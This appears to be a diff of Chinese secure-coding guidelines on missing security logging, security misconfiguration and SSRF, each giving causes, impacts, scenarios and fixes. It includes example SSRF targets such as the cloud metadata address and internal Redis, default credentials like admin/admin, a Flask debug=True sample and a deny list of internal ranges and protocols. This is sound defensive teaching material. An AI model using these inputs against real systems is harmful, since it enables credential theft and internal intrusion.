|
|
19
|
+
|
|
20
|
+
- 攻击者多次尝试弱口令,但系统未记录失败日志,防御人员无法发现暴力破解行为。
|
|
21
|
+
|
|
22
|
+
### 3.2 日志中包含敏感数据(密码/Token/身份证号)
|
|
23
|
+
|
|
24
|
+
- 开发者在调试时直接输出 user.password 或 Authorization Header,导致日志被攻击者下载后造成二次泄漏。
|
|
25
|
+
|
|
26
|
+
### 3.3 未对异常行为做告警(大量请求、暴力破解)
|
|
27
|
+
|
|
28
|
+
- API 被异常高频访问,但缺少速率监控与告警,导致业务被拖垮后才发现攻击。
|
|
29
|
+
|
|
30
|
+
## 4. 漏洞修复方案
|
|
31
|
+
|
|
32
|
+
### 4.1 【必须】所有安全相关事件必须记录日志
|
|
33
|
+
|
|
34
|
+
- 包括:登录失败、权限拒绝、关键配置修改、敏感接口调用。
|
|
35
|
+
- 日志内容至少包含:时间、用户标识、请求来源 IP、操作类型、结果。
|
|
36
|
+
|
|
37
|
+
### 4.2 【必须】日志必须脱敏处理,禁止敏感数据落盘
|
|
38
|
+
|
|
39
|
+
- 明文密码、私钥、身份证号、银行卡号等必须屏蔽或打码(如手机号仅保留后四位)。
|
|
40
|
+
|
|
41
|
+
### 4.3 【建议】建立实时告警系统
|
|
42
|
+
|
|
43
|
+
- 结合 监控平台(如 ELK、Prometheus、Grafana、Splunk)实时检测异常请求和安全事件。
|
|
44
|
+
|
|
45
|
+
### 4.4 【建议】定期对日志审计,检测潜在攻击链
|
|
46
|
+
|
|
47
|
+
- 对接 审计中心或蓝鲸监控 系统,实现 安全自动化响应。
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
# 安全配置错误
|
|
2
|
+
|
|
3
|
+
## 1. 漏洞原理
|
|
4
|
+
|
|
5
|
+
- 安全配置错误(Security Misconfiguration)是指系统、框架、库、应用或云资源在部署和运行过程中,未遵循最小化和安全默认原则,导致攻击者可直接利用弱配置或敏感信息泄露进行攻击。
|
|
6
|
+
|
|
7
|
+
- 常见问题:
|
|
8
|
+
- 开启 debug/verbose 模式,输出内部堆栈和环境变量。
|
|
9
|
+
- 服务未加鉴权或使用默认口令。
|
|
10
|
+
- 云存储桶、数据库等对公网开放,无访问控制。
|
|
11
|
+
- 中间件未关闭目录遍历、未加固 HTTP 头或使用弱 TLS 配置。
|
|
12
|
+
|
|
13
|
+
- 本质是:缺乏"安全缺省值"与上线前的基线检查。
|
|
14
|
+
|
|
15
|
+
## 2. 漏洞影响
|
|
16
|
+
|
|
17
|
+
- 敏感信息泄露:环境变量、堆栈、配置文件、源代码被外部访问。
|
|
18
|
+
- 弱口令攻击:攻击者利用默认口令或弱口令直接接管系统。
|
|
19
|
+
- 数据泄漏:云存储(S3、OSS、COS)、数据库(Mongo、ES、Redis)未加 ACL,造成海量数据泄露。
|
|
20
|
+
- 系统被控:调试/管理接口未关闭,攻击者可远程执行命令或操作系统。
|
|
21
|
+
- 大规模攻击面:一旦暴露在公网,常见的漏洞扫描器、自动化攻击工具即可批量利用。
|
|
22
|
+
|
|
23
|
+
## 3. 典型业务场景
|
|
24
|
+
|
|
25
|
+
### 3.1 生产环境启用 debug/verbose 模式
|
|
26
|
+
|
|
27
|
+
- Flask、Django、Spring Boot 开启 debug,暴露堆栈、环境变量、数据库连接串。
|
|
28
|
+
|
|
29
|
+
```python
|
|
30
|
+
# Bad Code:
|
|
31
|
+
# Flask app.py
|
|
32
|
+
app.run(debug=True) # 开启 debug,生产中高危
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
```python
|
|
36
|
+
# Good Code:
|
|
37
|
+
app.run(debug=False) # 生产必须关闭
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### 3.2 未关闭目录遍历/目录索引
|
|
41
|
+
|
|
42
|
+
- Nginx/Apache 默认允许目录索引,攻击者可列出敏感文件,直接显示源码/配置文件。
|
|
43
|
+
|
|
44
|
+
### 3.3 默认口令/弱口令未修改
|
|
45
|
+
|
|
46
|
+
- ES、Redis、Jenkins、Tomcat 等中间件使用默认口令 admin/admin、root/123456,被爆破成功。
|
|
47
|
+
|
|
48
|
+
### 3.4 云存储桶未加 ACL,公开访问
|
|
49
|
+
|
|
50
|
+
- AWS S3、阿里云 OSS、腾讯云 COS 桶配置为 public-read,攻击者可直接访问所有存储文件。
|
|
51
|
+
|
|
52
|
+
## 4. 漏洞修复方案
|
|
53
|
+
|
|
54
|
+
### 4.1 【必须】上线前关闭调试、去除测试接口
|
|
55
|
+
|
|
56
|
+
- 生产环境必须禁用 debug/verbose 模式。
|
|
57
|
+
- 确认无 /test、/swagger-ui/、/actuator/ 等未鉴权接口暴露。
|
|
58
|
+
|
|
59
|
+
### 4.2 【必须】所有服务组件必须修改默认口令
|
|
60
|
+
|
|
61
|
+
- 上线前必须修改默认口令,并配置复杂度策略。
|
|
62
|
+
- 配置身份鉴别(LDAP/OAuth2/Token)。
|
|
63
|
+
|
|
64
|
+
### 4.3 【必须】云存储、ES/Redis/Mongo 等禁止公网暴露
|
|
65
|
+
|
|
66
|
+
- 服务仅限内网访问,必须配置防火墙/安全组。
|
|
67
|
+
- 云存储桶 ACL 配置为 私有(private),仅业务账号可访问。
|
|
68
|
+
|
|
69
|
+
### 4.4 【建议】建立基线配置扫描与合规检查
|
|
70
|
+
|
|
71
|
+
- 引入配置扫描工具(如 Lynis、OpenSCAP、Kube-Bench)。
|
|
72
|
+
- 自动化检测弱口令、未加密通信、错误 ACL。
|
|
73
|
+
- 建立合规基线,保证配置随版本升级不回退。
|
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
# 服务端请求伪造(SSRF)
|
|
2
|
+
|
|
3
|
+
## 1. 漏洞原理
|
|
4
|
+
|
|
5
|
+
- SSRF(Server-Side Request Forgery)指攻击者通过精心构造的请求参数,诱使服务端代表其发起请求。
|
|
6
|
+
- 由于服务端通常处于内网环境,攻击者可借此访问 内部系统/云服务元数据/Loopback 接口 等不对外暴露的敏感资源。
|
|
7
|
+
- 本质:服务端未对用户可控的 URL/目标地址进行限制,导致攻击者可以利用服务端作为代理发起恶意请求。
|
|
8
|
+
|
|
9
|
+
## 2. 漏洞影响
|
|
10
|
+
|
|
11
|
+
- 内网探测:枚举内网端口、存活主机。
|
|
12
|
+
- 敏感信息泄露:访问云环境的元数据接口(如 AWS http://169.254.169.254/ 获取 AK/SK)。
|
|
13
|
+
- 攻击内网应用:绕过防火墙访问仅内网可访问的管理端口(如 Redis、Elasticsearch、K8s API)。
|
|
14
|
+
- 进一步攻击链:结合 Gopher 协议,可构造 Redis/SMTP/MySQL 协议 payload,最终实现 RCE 或数据篡改。
|
|
15
|
+
- 拒绝服务(DoS):请求大文件/死循环响应,耗尽服务器资源。
|
|
16
|
+
|
|
17
|
+
## 3. 典型业务场景
|
|
18
|
+
|
|
19
|
+
### 3.1 文件上传接口支持"通过 URL 抓取远程文件"
|
|
20
|
+
|
|
21
|
+
- 攻击者传入 http://127.0.0.1:6379/,可直接与内网 Redis 通信。
|
|
22
|
+
|
|
23
|
+
### 3.2 Webhook/回调接口,允许用户自定义回调 URL
|
|
24
|
+
|
|
25
|
+
- 攻击者设置回调地址为 http://internal-service.local/admin,实现内网横向探测。
|
|
26
|
+
|
|
27
|
+
### 3.3 富文本编辑器的"网络图片抓取"功能
|
|
28
|
+
|
|
29
|
+
- 用户提交的图片 URL 被服务端下载,可能访问内网敏感地址。
|
|
30
|
+
|
|
31
|
+
### 3.4 报表/爬虫接口支持用户输入任意外部 URL
|
|
32
|
+
|
|
33
|
+
- 通过 SSRF,攻击者可利用报表功能请求内部资产管理页面或云元数据接口,窃取凭证。
|
|
34
|
+
|
|
35
|
+
## 4. 漏洞修复方案
|
|
36
|
+
|
|
37
|
+
### 4.1 【必须】对目标 URL 做白名单校验,仅允许业务可信域名
|
|
38
|
+
|
|
39
|
+
- 例如仅允许 cdn.qq.com、static.tencent.com 等业务域。
|
|
40
|
+
|
|
41
|
+
### 4.2 【必须】禁止访问内网/环回/链路本地地址
|
|
42
|
+
|
|
43
|
+
- 拦截 127.0.0.1/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16 等网段。
|
|
44
|
+
|
|
45
|
+
### 4.3 【必须】禁止危险协议
|
|
46
|
+
|
|
47
|
+
- 禁止 file://、gopher://、ftp:// 等高危协议,仅允许 http/https。
|
|
48
|
+
|
|
49
|
+
### 4.4 【建议】通过服务端代理统一转发请求
|
|
50
|
+
|
|
51
|
+
- 在代理层做 ACL、审计、超时/限速控制,避免业务服务直接对外请求。
|
|
52
|
+
|
|
53
|
+
### 4.5 【建议】对下载响应内容大小/时间做限制
|
|
54
|
+
|
|
55
|
+
- 设置最大响应体积(如 10MB)、请求超时(如 3s),防止攻击者利用大文件/死链 DoS。
|